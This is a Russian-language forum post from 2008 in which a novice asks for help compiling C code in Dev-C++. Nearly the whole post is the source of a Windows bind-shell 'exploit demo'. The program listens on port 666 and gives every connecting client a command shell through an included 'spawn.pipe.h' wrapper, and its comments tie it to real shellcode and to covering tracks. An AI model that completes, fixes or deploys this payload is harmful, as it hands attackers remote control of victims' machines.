
11.07.2008, 19:29
|
|
Новичок
Регистрация: 04.08.2006
Сообщений: 15
Провел на форуме: 65556
Репутация:
0
|
|
Помагите с компилировать етот код не получается пользуюсь dev-C++ ver 4.9.9.2
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h" // "обертка" вокруг командного интерпретатора
#define MY_PORT 666 // порт, который эксплоит будет слушать
#define MAX_BUF_SIZE 1024
DWORD WINAPI SexToClient(void *csocket);
int main()
{
int a;
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // буффер
int caddr_size = sizeof(caddr);
// TITLE
printf("exploit bind port demo\n");
// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
// шаг 1: создание сокета
lsocket = socket(AF_INET, SOCK_STREAM, 0);
// шаг 2: связывание сокета с локальным адресом
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
// шаг 3: слушаем сокет
if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");
// шаг 4: обрабатываем входящие подключения
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{
// пытаемся получить доменное имя подключившегося узла
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
sprintf(buff, "+%s [%s] new connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);
// вызов нового потока для обслужвания клиента
// вообще-то для этого рекомендуется использовать _beginthreadex
// но с некоторыми предосторожностями можно обойтись и win32 API
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
}
// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
return 0;
}
DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
|
|
|